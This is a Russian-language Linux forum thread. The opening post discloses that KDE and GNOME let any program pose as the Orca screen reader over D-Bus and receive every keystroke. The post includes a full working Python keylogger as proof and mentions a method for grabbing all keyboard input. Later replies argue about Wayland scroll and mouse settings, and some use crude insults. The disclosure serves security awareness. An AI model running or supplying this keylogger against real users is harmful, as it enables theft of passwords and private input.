LINUX.ORG.RU
Форум — Talks  

В Wayland завезли интерфейс для кейлоггеров из коробки

 , , ,


6

7

Привет, чят!

Как ты знаешь, одним из отличительных недостатков Wayland в сравнение с X11 является невозможность произвольной программой получить доступ к вводу с клавиатуры и захакернуть все твои пароли. Как минимум, в KDE и GNOME этот недостаток теперь исправлен.

Одним из валидных случаев, когда программе может требоваться весь ввод, является софт для людей с нарушениями зрения и т.д. В Linux такую роль исполняет Orca. Для того, чтобы обеспечить доступ Orca к событиям ввода, в KDE и GNOME добавили специальный интерфейс в dbus org.freedesktop.a11y.KeyboardMonitor, подписавшись на который можно собственно получать всю инфу. Возникает закономерный вопрос: как же определить, что доступ пытается получить именно Orca, а не злобный хакерский скрипт?

Ответ: KWin (композитор KDE) и Mutter (GNOME) проверяют… имя программы в dbus. И всё. Соответственно, любая программа, назвавшаяся org.gnome.Orca, получает по dbus доступ к вводу с клавиатуры и может захакеровывать твои пароли, ЛОРовец.

Пруф:

#!/usr/bin/env python3

import gi
gi.require_version('Gio', '2.0')
from gi.repository import Gio, GLib

bus = Gio.bus_get_sync(Gio.BusType.SESSION)

# Claim the Orca screen reader bus name
result = bus.call_sync(
    'org.freedesktop.DBus',
    '/org/freedesktop/DBus',
    'org.freedesktop.DBus',
    'RequestName',
    GLib.Variant('(su)', ('org.gnome.Orca.KeyboardMonitor', 0)),
    GLib.VariantType('(u)'),
    Gio.DBusCallFlags.NONE,
    -1, None
)
print(f"[*] RequestName result: {result}")  # 1 = acquired

# Now call WatchKeyboard
bus.call_sync(
    'org.freedesktop.a11y.Manager',
    '/org/freedesktop/a11y/Manager',
    'org.freedesktop.a11y.KeyboardMonitor',
    'WatchKeyboard',
    None, None,
    Gio.DBusCallFlags.NONE,
    -1, None
)
print("[+] WatchKeyboard succeeded!")

# Listen for KeyEvent signals
def on_key_event(connection, sender, path, interface, signal, params):
    pressed, flags, keysym, charcode, scancode = params.unpack()
    if pressed: # True = released, we log on press instead
        return

    if charcode >= 32 and charcode < 127:
        char = chr(charcode)
        print(f"{char}", end="", flush=True)
    elif keysym == 65293:
        print(f"\n", end="", flush=True)
    elif keysym == 65288:
        print(f"[BS]", end="", flush=True)
    elif keysym == 65289:
        print(f"[TAB]", end="", flush=True)
    elif keysym == 65507 or keysym == 65508:
        print(f"[CTRL]", end="", flush=True)
    elif keysym == 65505 or keysym == 65506:
        print(f"[SHIFT]", end="", flush=True)
    elif keysym == 65513 or keysym == 65514:
        print(f"[ALT]", end="", flush=True)
    elif keysym == 65515:
        print(f"[SUPER]", end="", flush=True)
    else:
        print(f"[{keysym}]", end="", flush=True)

bus.signal_subscribe(
    None,
    'org.freedesktop.a11y.KeyboardMonitor',
    'KeyEvent',
    None, None,
    Gio.DBusSignalFlags.NONE,
    on_key_event
)

print("[*] Listening for keystrokes...")
loop = GLib.MainLoop()
try:
    loop.run()
except KeyboardInterrupt:
    print("\n[*] Cleaning up")
    bus.call_sync(
        'org.freedesktop.a11y.Manager',
        '/org/freedesktop/a11y/Manager',
        'org.freedesktop.a11y.KeyboardMonitor',
        'UnwatchKeyboard',
        None, None,
        Gio.DBusCallFlags.NONE,
        -1, None
    )

Скрипту требуется пакет pygobject3 и всё. Скрипт печатает все события с клавиатуры в консольку, пока не получит ^C.

Код и прочая инфа взяты отсюда: https://linnemanlabs.com/posts/hello-my-name-is-orca/

В общем, чят, вот такое вот забавное состояние безопасности в Wayland, над которым работают суровые профессионалы.

P.S. бонусом, если вместо метода WatchKeyboard дёрнуть метод GrabKeyboard, весь ввод уйдёт твоему скрипту, а обычные окна получат шиш. В общем, всё абсолютно как в X11. А ещё через это можно глобальные хоткеи сделать. Наконец-то паритет по фичам достигнут!



Последнее исправление: yorshka (всего исправлений: 1)
Ответ на: комментарий от altwazar

Не стоит забывать, что на той же винде или в иксах подобной изоляции приложений в плане ввода вообще нет

«А у вас негров линчуют».

Неважно, что там в винде или иксах, важно, когда подлянку подкладывают здесь и сейчас.

P.S. То есть, переведу: я категорически не согласен, что «не стоит забывать». Как раз таки наоборот, хорошо бы забыть как страшный сон.

CrX ★★★★★
()
Последнее исправление: CrX (всего исправлений: 1)
Ответ на: комментарий от yorshka

Ебусси

Теперь понятно почему нужно [фамилия разработчика] с настройкой.

ptah_alexs ★★★★★
()
Ответ на: комментарий от wandrien

Я не понимаю, почему эта клоунада всё ещё считается стандартной DE в дистрибутивах…

Ты думаешь, дистрами какие-то другие клоуны заведуют? Примерно ровно такие же.

yorshka
() автор топика
Ответ на: комментарий от yorshka

Там Ебусси недавно вылез и заявил, что добавить настройку ускорения прокрутки – это слишком сложно

Что характерно, он полностью прав. Текущая реализация в других средах — это костыль с умножением событий прокрутки на коэффициент на уровне композитора, что приводит к поломке поведения различных элементов: панель вкладок, combobox, spinbox — все они переключают состояние при каждом дискретном шаге прокрутки, и умножение на коэффициент в композиторе ломает эту логику.

Например, возьмём KDE и увеличим скорость прокрутки в её настройках — в результате один шаг прокрутки колеса мыши начинает переключать сразу несколько вкладок, элементов выпадающего списка, значений spinbox и т.п. То же самое может происходить в играх, например, с переключением оружия.

Поэтому корректное применение настройки скорости прокрутки зависит от контекста, а значит, она должна быть реализована на уровне клиентов (тулкита), а не композитора. Тогда условная область прокрутки может применять коэффициент, а условный combobox — нет.

Для этого нужен общий стандарт, который поддерживался бы всеми тулкитами. Такого в данный момент, насколько знаю, не существует.

Rootlexx ★★★★★
()
Ответ на: комментарий от bbc69

М-да. То ли смеяться, то ли плакать.

Смейся, разумеется. Для здоровья полезней.

dimgel ★★★★★
()
Ответ на: комментарий от yorshka

Там Ебусси недавно вылез и заявил, что добавить настройку ускорения прокрутки – это слишком сложно, юзкейсов нет.

Ускорение прокрутки хотя бы более-менее специфичная вещь, много проблем создаёт не знакомому с этими костылями пользователю.

А вот возможность использовать мышку без акселерации это не просто необходимо для кучи людей, это еще и единственный способ хоть как-то менять чувствительность мышки в линуксе. Так как другой режим в libinput (adaptive) построен на концепте, что одна чувствительность подойдет всем пользователям и не важно с какой мышкой. В нём ты можешь хоть в ноль ползунок чувствительности в gui увести и мышка останется сверхбыстрой.

Вот так разработчики гуя и libinput позаботились о «не технически грамотных пользователей». Режим adaptive стоит по умолчанию, человек заходит в настройки, дергает ползунок чувствительности мышки и происходит непонятно что. А режим (flat) в своё время просто с боем пришлось от разработчика libinput выбивать, так как он считал, что его adaptive подойдет всем.

Более-менее настроить мышку можно через gui в кедах. Там только наркоманские значения у ползунка выбраны, но можно ввести через задницу значение вручную для чувствительности. Правда оно там тоже в наркоманском (libinput) виде и понять что оно значит придется методом тыка.

altwazar ★★★★★
()
Последнее исправление: altwazar (всего исправлений: 2)
Вы не можете добавлять комментарии в эту тему: только для зарегистрированных, score>=50.